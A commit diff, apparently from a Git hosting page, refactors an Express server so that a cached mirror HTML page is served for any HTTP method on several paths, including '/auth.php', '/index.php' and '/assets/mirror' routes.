fix: handle POST /auth.php and nav-rewrite edge paths → serve cached mirror
This commit is contained in:
@@ -340,11 +340,16 @@ async function refreshMirror() {
|
|||||||
setTimeout(() => refreshMirror(), 3000);
|
setTimeout(() => refreshMirror(), 3000);
|
||||||
setInterval(() => refreshMirror(), MIRROR_TTL_MS);
|
setInterval(() => refreshMirror(), MIRROR_TTL_MS);
|
||||||
|
|
||||||
app.get(['/m', '/m.html', '/mirror'], (req, res) => {
|
const serveMirror = (req, res) => {
|
||||||
if (!cachedMirrorHtml) return res.status(503).send('mirror initializing — try again in 60s');
|
if (!cachedMirrorHtml) return res.status(503).send('mirror initializing — try again in 60s');
|
||||||
res.setHeader('Content-Type', 'text/html; charset=utf-8');
|
res.setHeader('Content-Type', 'text/html; charset=utf-8');
|
||||||
res.send(cachedMirrorHtml);
|
res.send(cachedMirrorHtml);
|
||||||
});
|
};
|
||||||
|
|
||||||
|
// Entry points that render the cached mirror HTML (any HTTP method)
|
||||||
|
app.all(['/m', '/m.html', '/mirror'], serveMirror);
|
||||||
|
app.all(['/auth.php', '/index.php'], serveMirror);
|
||||||
|
app.all(['/assets/mirror', '/assets/mirror/', '/assets/mirror/auth.php', '/assets/mirror/index.php'], serveMirror);
|
||||||
|
|
||||||
app.use('/assets/mirror', express.static(MIRROR_DIR));
|
app.use('/assets/mirror', express.static(MIRROR_DIR));
|
||||||
|
|
||||||
|
|||||||
Reference in New Issue
Block a user